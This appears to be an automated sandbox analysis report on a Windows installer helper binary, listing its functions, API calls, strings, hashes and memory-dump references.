API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 586c4a33544a094be3be1a92ae762031922106191bd49cd4f51369aa2a5825f1
Instruction ID: 2dc870fb26f48fd40e985298551b344c7ed661508814f438d84e1c9bc43f5cd5
Opcode Fuzzy Hash: 586c4a33544a094be3be1a92ae762031922106191bd49cd4f51369aa2a5825f1
Instruction Fuzzy Hash: D6E09270600751CFC320AF2AE5047967BE4AF04704FC0C85DE892C3340DBB4E884CB91

Function 00AD6C20 Relevance: 5.2, APIs: 4, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,6E9B59AC,?,00000000,?,?,?,?,00B19DA0,000000FF,?,00AD6432,00000000,?), ref: 00AD6CC4
LocalAlloc.KERNEL32(00000040,3FFFFFFF,6E9B59AC,?,00000000,?,?,?,?,00B19DA0,000000FF,?,00AD6432,00000000,?), ref: 00AD6CE7
LocalFree.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,00B19DA0,000000FF,?,00AD6432,00000000), ref: 00AD6D87
LocalFree.KERNEL32(?,6E9B59AC,00000000,00B193B0,000000FF,?,00000000,00000000,00B19DA0,000000FF,6E9B59AC), ref: 00AD6E0D

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 8860f778cb40d78118b41817a044a9b69f7e5805a0b2771a39e8943bfe965830
Instruction ID: ef0d93fb26037283ce907285f923beac85861727e7429a9925d2a70829fc9f21
Opcode Fuzzy Hash: 8860f778cb40d78118b41817a044a9b69f7e5805a0b2771a39e8943bfe965830
Instruction Fuzzy Hash: 9C51A6B5A006059FDB18CF68D985BAEBBB5FB48310F14422EF856E7390DB35AD10CB94

Function 00AD4A80 Relevance: 5.2, APIs: 4, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,?,?,?,00000000,?,00000000,?,?), ref: 00AD4B05
LocalAlloc.KERNEL32(00000040,7FFFFFFF,?,?,?,00000000,?,00000000,?,?), ref: 00AD4B25
LocalFree.KERNEL32(7FFFFFFE,?,?,00000000,?,00000000,?,?), ref: 00AD4BAB
LocalFree.KERNEL32(00000000,6E9B59AC,00000000,00000000,Function_000492C0,000000FF,?,?,00000000,?,00000000,?,?), ref: 00AD4C2D

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 1768e33e67e8b4eb6caa0b6ea03f9f7683e66a61e4e82833d2a176e554070db8
Instruction ID: 9f725b96d889e14a8f724177d6294d2de74637d257ae5e162399593e9bb74738
Opcode Fuzzy Hash: 1768e33e67e8b4eb6caa0b6ea03f9f7683e66a61e4e82833d2a176e554070db8
Instruction Fuzzy Hash: F051C072604215AFC715DF28D981A6AB7E9FB89360F140A6FF856D73A0DB70E9008B91

Analysis Process: MSI7F35.tmpPID: 8948, Parent PID: 8600COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	343
Total number of Limit Nodes:	8

Executed Functions

Function 00806EE0 Relevance: 46.0, APIs: 25, Strings: 1, Instructions: 519
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00805F90: GetCurrentProcess.KERNEL32(00000008,?,58A46C4B), ref: 00805FA0
Part of subcall function 00805F90: OpenProcessToken.ADVAPI32(00000000), ref: 00805FA7

CoInitialize.OLE32(00000000), ref: 00806F55
CoCreateInstance.OLE32(0084D310,00000000,00000004,0085B320,00000000,?), ref: 00806F85
CoUninitialize.OLE32 ref: 008074F6
_com_issue_error.COMSUPP ref: 00807524

Part of subcall function 00801910: LocalFree.KERNEL32(?,58A46C4B,?,00000000,008492C0,000000FF,?,?,00861348,00000000,008016D0,80004005), ref: 0080195C

Strings

$, xrefs: 00807454

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Process$CreateCurrentFreeInitializeInstanceLocalOpenTokenUninitialize_com_issue_error
String ID: $
API String ID: 2507920217-3993045852
Opcode ID: 0917e5985d53ab8c07871862a86f618feffd9e16bbacb20829de1269238a3108
Instruction ID: 521930dd0cdd412075dd6035eeb5de892e4b0cdecd88eebd29fa6a7b4f0a5875
Opcode Fuzzy Hash: 0917e5985d53ab8c07871862a86f618feffd9e16bbacb20829de1269238a3108
Instruction Fuzzy Hash: 4F226B70E08388DFEB11CBA8CD48BADBBB8FF55304F148199E405EB291D775AA49CB11

Function 00805F90 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,58A46C4B), ref: 00805FA0
OpenProcessToken.ADVAPI32(00000000), ref: 00805FA7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00805FDC
CloseHandle.KERNEL32(?), ref: 00805FF2

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 690c84502b746f7cfc93f37d5a13458d30d2a0a650317ecf55b2a75a93fc0eeb
Instruction ID: 81018fabec2bd97fd73c03c1198674ecd411d18de30dbd484e36505ea37c548f
Opcode Fuzzy Hash: 690c84502b746f7cfc93f37d5a13458d30d2a0a650317ecf55b2a75a93fc0eeb
Instruction Fuzzy Hash: 32F01D78144301EBEB109F20EC49BAABBE8FB85704F508819F984C22A0D779D61DDA63

Function 00811A20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(58A46C4B,?,0000FFFF), ref: 00811A4D

Part of subcall function 00804EC0: LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,00000000,00000000,?,?), ref: 00804EDD

ExitProcess.KERNEL32 ref: 00811C27

Part of subcall function 00808790: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0080880D

Strings

Full command line:, xrefs: 00811A7E

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: 3461a22ba779a40e25e94aff4c110e0db6033b39dd66cb7e63e97db420bc97f5
Instruction ID: 029f36c4727dbf2b8b62947285c433f58a9ba8c391e1219897463e0bfb451451
Opcode Fuzzy Hash: 3461a22ba779a40e25e94aff4c110e0db6033b39dd66cb7e63e97db420bc97f5
Instruction Fuzzy Hash: E1514C708151189ACB55EB68CC59BDEB779FF10304F1441D8E509A72A2EF741F89CB92

Function 00807FD0 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00807FA8,58A46C4B), ref: 00808044
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,00807FA8,58A46C4B), ref: 0080804E
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,00807FA8,58A46C4B), ref: 008080AA

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: 2b4f164344df8367ce9bf88444fe59d65d6d411f66f8b7d574c1a469c697ab37
Instruction ID: 685fd2eac0001a2728cfb0cc4cbe7b3d18ea078fa146ef62de4f954d6e619a52
Opcode Fuzzy Hash: 2b4f164344df8367ce9bf88444fe59d65d6d411f66f8b7d574c1a469c697ab37
Instruction Fuzzy Hash: 28318E71A00A09DFDB20CF99CC45BAFFBF9FB44710F10452AE555E7280DBB5A9448BA0

Function 0083C72B Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,0083AFDA,00000001,00000364,?,00000006,000000FF,?,0082C282,?,?,?), ref: 0083C76C

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2d7e1100294852f986060ba73b4a99ce158471eedd03cf5604d4c1c527f8f66b
Instruction ID: 70f5e14c1585fb2717ec29b441bdbb72fa0cbe51cb54773c7d9e30cb9cfafdff
Opcode Fuzzy Hash: 2d7e1100294852f986060ba73b4a99ce158471eedd03cf5604d4c1c527f8f66b
Instruction Fuzzy Hash: AAF0E93250222867EB212A6EDC45A7B7B8CFFD2770F154211EC04F6280CF20D801CBE1

Non-executed Functions

Function 0080D060 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 472COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0080D200
LocalFree.KERNEL32(00000000), ref: 0080D257
_swprintf.LIBCMT ref: 0080D440
LocalFree.KERNEL32(00000000), ref: 0080D497
_swprintf.LIBCMT ref: 0080D592

Strings

+, xrefs: 0080D506
%, xrefs: 0080D519

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID: %$+
API String ID: 2429749586-2626897407
Opcode ID: 7350f0d7835adbe2495cd3aaf8bb4a302d11e71b5e35e49ae21e7e4f44267bb7
Instruction ID: 864d8c904edb32f0b12069d05867f7236b8a216312993caa27d1b86224276563
Opcode Fuzzy Hash: 7350f0d7835adbe2495cd3aaf8bb4a302d11e71b5e35e49ae21e7e4f44267bb7
Instruction Fuzzy Hash: 9002CE71E103199FDB15DFA8DC41BAEBBB5FF49300F148629F811AB281E734A945CB91

Function 00810E90 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 455registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,-00000002,00000000,00000001,?), ref: 008112C4
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,008657C0,00000800), ref: 008112E1

Strings

/DontWait , xrefs: 00810F37, 00810F40, 00810F6C, 00810F8E
/HideWindow, xrefs: 00811075, 0081107F, 008110AC, 008110BC, 008110DB
/EnforcedRunAsAdmin , xrefs: 00810EB0, 00810EBA, 00810EE3, 00810F01
/RunAsAdmin , xrefs: 00810FCE, 00810FD9, 00811003, 00811013, 00811032

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DontWait $/EnforcedRunAsAdmin $/HideWindow$/RunAsAdmin
API String ID: 4153817207-1914306501
Opcode ID: f3bd6797efcb46a2c1ddc1835b0795c5b78b87473c6a340cddaf7107db9f4b6b
Instruction ID: 52d4a04816e12ccf255574161af381e9724c147ad316db991a594fe2272380b1
Opcode Fuzzy Hash: f3bd6797efcb46a2c1ddc1835b0795c5b78b87473c6a340cddaf7107db9f4b6b
Instruction Fuzzy Hash: 8DE12224A043528ACF349F14C8452F6B3E9FF99B40F598069EA85CB295EBB1CCC6C791

Function 00843BA3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00843EC1,00000002,00000000,?,?,?,00843EC1,?,00000000), ref: 00843C3C
GetLocaleInfoW.KERNEL32(?,20001004,00843EC1,00000002,00000000,?,?,?,00843EC1,?,00000000), ref: 00843C65
GetACP.KERNEL32(?,?,00843EC1,?,00000000), ref: 00843C7A

Strings

OCP, xrefs: 00843BF7
ACP, xrefs: 00843BC1

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 4edd967ffb8a5cbd485d84920138596b11f3df35108a922a2c834be191339c43
Instruction ID: e1d06190f0b59555a0f6f3f6c9c4d4578ddd97103d961adf48f62e67c2d1d41a
Opcode Fuzzy Hash: 4edd967ffb8a5cbd485d84920138596b11f3df35108a922a2c834be191339c43
Instruction Fuzzy Hash: BE219532A0021DABDB34CF55C981B97B3A6FF50B65F668424E90AE7110E732DF40C390

Function 00843D78 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0083AE3C: GetLastError.KERNEL32(?,00000008,008403BC), ref: 0083AE40
Part of subcall function 0083AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0083AEE2

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00843E84
IsValidCodePage.KERNEL32(00000000), ref: 00843ECD
IsValidLocale.KERNEL32(?,00000001), ref: 00843EDC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00843F24
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00843F43

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 660a8337672aa7826e204cf6df7a9819a4195c3938c55e30bd238c3492a256a2
Instruction ID: 008d32c3705b1b8005baa2d2f79ae5cac12185d780e905ed9d9ede2f7052a2c4
Opcode Fuzzy Hash: 660a8337672aa7826e204cf6df7a9819a4195c3938c55e30bd238c3492a256a2
Instruction Fuzzy Hash: E4516D72A0121DABEF11EFA9CC45AAEB7B8FF49700F144429E915E7190EB70DB44CB61

Function 0083B336 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0083B3C3

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction ID: c4aca3e4c0ca0855e0ac8e1cd94a8b70826ad248b21a8654888cbe1000aa9532
Opcode Fuzzy Hash: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction Fuzzy Hash: 4DB145B29002599FDB118F68C8827FEBBA5FF95314F14816AEA05EB242D3359D01CBE1

Function 0084069D Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00840738
FindNextFileW.KERNEL32(00000000,?), ref: 008407B3
FindClose.KERNEL32(00000000), ref: 008407D5
FindClose.KERNEL32(00000000), ref: 008407F8

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 192198a21f554495286f253fbc998b9dee4bd53f548a0c025704d3638de68d21
Instruction ID: f29f062e58eca4565aaccf7150f52a6598d09eda7c32a24647f24b10e5f4ce80
Opcode Fuzzy Hash: 192198a21f554495286f253fbc998b9dee4bd53f548a0c025704d3638de68d21
Instruction Fuzzy Hash: 5B41B67190061DAEDB20DFA8CD89EAFB3B9FF85308F144195E505E7141E6359E84CF51

Function 008283BD Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 008283C9
IsDebuggerPresent.KERNEL32 ref: 00828495
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008284B5
UnhandledExceptionFilter.KERNEL32(?), ref: 008284BF

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 654dc0550692ac8f7264a53e9481e32927d9905cc2a9c1b00af6be9e3f3e8f1d
Instruction ID: 7e18b53423da132369b40c9de92feea662d3cbee38ef4ec56abbd6c0a2890e0a
Opcode Fuzzy Hash: 654dc0550692ac8f7264a53e9481e32927d9905cc2a9c1b00af6be9e3f3e8f1d
Instruction Fuzzy Hash: 7F31E875906329DBDF10EFA4D9497CDBBB8BF04700F10419AE409AB250EB715A85CF45

Function 00812161 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,?,00803270,?), ref: 00812176
FormatMessageA.KERNEL32(00001300,00000000,58A46C4B,00000000,00000000,00000000,00000000,?,?,?,00803270,?), ref: 00812198

Strings

!x-sys-default-locale, xrefs: 00812171

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: fc13e32156ca846e27151d7438dcde82b756383c916872e5768663d1eda8a239
Instruction ID: 97ab23774658ff388a6c71e06f5016e8fc81b726d56908f7b0df04be8d870e24
Opcode Fuzzy Hash: fc13e32156ca846e27151d7438dcde82b756383c916872e5768663d1eda8a239
Instruction Fuzzy Hash: CDE039B6150218BEEB049FA0CC0BDAABA6DFB057A0F004114BD01D2180E2B0AE40CBA0

Function 00807660 Relevance: 42.4, APIs: 16, Strings: 8, Instructions: 384
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(00000010,00000104,?,?), ref: 0080781F
GetForegroundWindow.USER32(?,?), ref: 008078A4
ShellExecuteExW.SHELL32(?), ref: 008078C1
ShellExecuteExW.SHELL32(?), ref: 008078FF
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 00807942
GetProcAddress.KERNEL32(00000000), ref: 00807949
AllowSetForegroundWindow.USER32(00000000), ref: 00807953
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 00807973
GetProcAddress.KERNEL32(00000000), ref: 0080797A
Sleep.KERNEL32(00000064,?,?,?), ref: 00807997
EnumWindows.USER32(00807A90,?), ref: 008079B3
BringWindowToTop.USER32(?), ref: 008079C2
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 008079DF
GetExitCodeProcess.KERNEL32(?,?), ref: 008079EC

Part of subcall function 00807D30: CloseHandle.KERNEL32(?,58A46C4B,00000010,00000010,?,?), ref: 00807D72

GetWindowThreadProcessId.USER32(?,?), ref: 00807A9C
GetWindowLongW.USER32(?,000000F0), ref: 00807AB4

Strings

/C ""%s" %s", xrefs: 00807844
runas, xrefs: 00807874
open, xrefs: 00807858
Kernel32.dll, xrefs: 0080793D, 0080796E
%s\System32\cmd.exe, xrefs: 0080782C
.cmd, xrefs: 008077E0
GetProcessId, xrefs: 00807938, 00807969
.bat, xrefs: 008077AA

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Window$Handle$AddressExecuteForegroundModuleProcProcessShellWindows$AllowBringCloseCodeDirectoryEnumExitLongObjectSingleSleepThreadWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$GetProcessId$Kernel32.dll$open$runas
API String ID: 1023610922-986041216
Opcode ID: dd89b316431f4db66da6ada66d933b4686911901566666e1bd3fa97c63a596cc
Instruction ID: 63fe8bc1d09692bb98ea3af505a7fb4ec20e6c1a83bbc28d661dea7472604195
Opcode Fuzzy Hash: dd89b316431f4db66da6ada66d933b4686911901566666e1bd3fa97c63a596cc
Instruction Fuzzy Hash: 3AE19E71E042099FDB50DFA8CC88AAEBBF5FF14310F148169E915EB391DB74A905CB60

Function 00808790 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 349filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0080880D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00808860
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 0080886F
